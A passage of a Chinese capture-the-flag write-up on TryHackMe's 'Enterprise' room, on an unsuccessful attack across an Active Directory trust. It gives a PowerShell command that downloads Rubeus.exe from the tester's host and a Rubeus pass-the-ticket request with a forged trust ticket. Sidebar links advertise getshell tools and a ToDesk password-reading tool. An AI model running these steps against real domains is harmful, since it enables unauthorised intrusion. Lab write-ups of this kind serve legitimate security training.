ApplicationPartitions : {DC=ForestDnsZones,DC=ENTERPRISE,DC=THM, DC=DomainDnsZones,DC=ENTERPRISE,DC=THM, DC=DomainDnsZones,DC=LAB,DC=ENTERPRISE,DC=THM}
ForestModeLevel       : 7
ForestMode            : Unknown
RootDomain            : ENTERPRISE.THM
Schema                : CN=Schema,CN=Configuration,DC=ENTERPRISE,DC=THM
SchemaRoleOwner       : ENTERPRISE-DC.ENTERPRISE.THM
NamingRoleOwner       : ENTERPRISE-DC.ENTERPRISE.THM

可以看到父域的DC服务器是：ENTERPRISE-DC.ENTERPRISE.THM

传Rubeus.exe到本地

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.63.196/Rubeus.exe','C:\users\bitbucket\Desktop\Rubeus.exe')"

使用Rubeus尝试生成一个tgs

PS C:\users\bitbucket\Desktop> .\Rubeus.exe asktgs /ticket:C:\users\bitbucket\Desktop\trust_tkt.kirbi /service:cifs/ENTERPRISE-DC.ENTERPRISE.THM /dc:ENTERPRISE-DC.ENTERPRISE.THM /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGS

[X] Error resolving hostname 'ENTERPRISE-DC.ENTERPRISE.THM' to an IP address: No such host is known

但是报错了，说找不到这个主机名

用powerview查找也没找到

PS C:\users\bitbucket\Desktop> Get-NetComputer -Domain LAB.ENTERPRISE.THM
LAB-DC.LAB.ENTERPRISE.THM
PS C:\users\bitbucket\Desktop> Get-NetComputer -Domain ENTERPRISE.THM
WARNING: Error: Exception calling "FindAll" with "0" argument(s): "A referral was returned from the server."

这个就很奇怪。。

【Tryhackme】Enterprise（Unquoted Service Paths）

服务探测

smb

Users

Docs

http

find SPN

本地权限提升

跨域（没有成功）

天线锅仔

引用和评论

【工具推荐】KillWxapkg v2.4(最新版) - 自动化反编译微信小程序，小程序安全评估工具

【工具推荐】TPscan (最新版本) - 一键ThinkPHP漏洞检测getshell

【工具推荐】0x7eTeamTools v1.2(最新版) -全能的渗透测试工具,一键getshell

【漏洞分享】2018年-2024年HVV 6000+个漏洞 POC 合集分享

【工具推荐】FindEverything(最新版) - 内网渗透必备敏感文件搜索工具

【工具推荐】todesk最新版设备代码、连接密码读取工具，附下载链接

首发最新AWVS/Acunetix Premium V24.8高级版漏洞扫描器(最新版)Windows/Linux下载

【Tryhackme】Enterprise（Unquoted Service Paths）

服务探测

smb

Users

Docs

http

find SPN

本地权限提升

跨域（没有成功）

天线锅仔

引用和评论

【工具推荐】KillWxapkg v2.4(最新版) - 自动化反编译微信小程序，小程序安全评估工具

【工具推荐】TPscan (最新版本) - 一键ThinkPHP漏洞检测getshell

【工具推荐】0x7eTeamTools v1.2(最新版) -全能的渗透测试工具,一键getshell

【漏洞分享】2018年-2024年HVV 6000+个漏洞 POC 合集分享

【工具推荐】FindEverything(最新版) - 内网渗透必备 敏感文件搜索工具

【工具推荐】todesk最新版设备代码、连接密码读取工具，附下载链接

首发 最新AWVS/Acunetix Premium V24.8高级版漏洞扫描器(最新版)Windows/Linux下载

【工具推荐】FindEverything(最新版) - 内网渗透必备敏感文件搜索工具

首发最新AWVS/Acunetix Premium V24.8高级版漏洞扫描器(最新版)Windows/Linux下载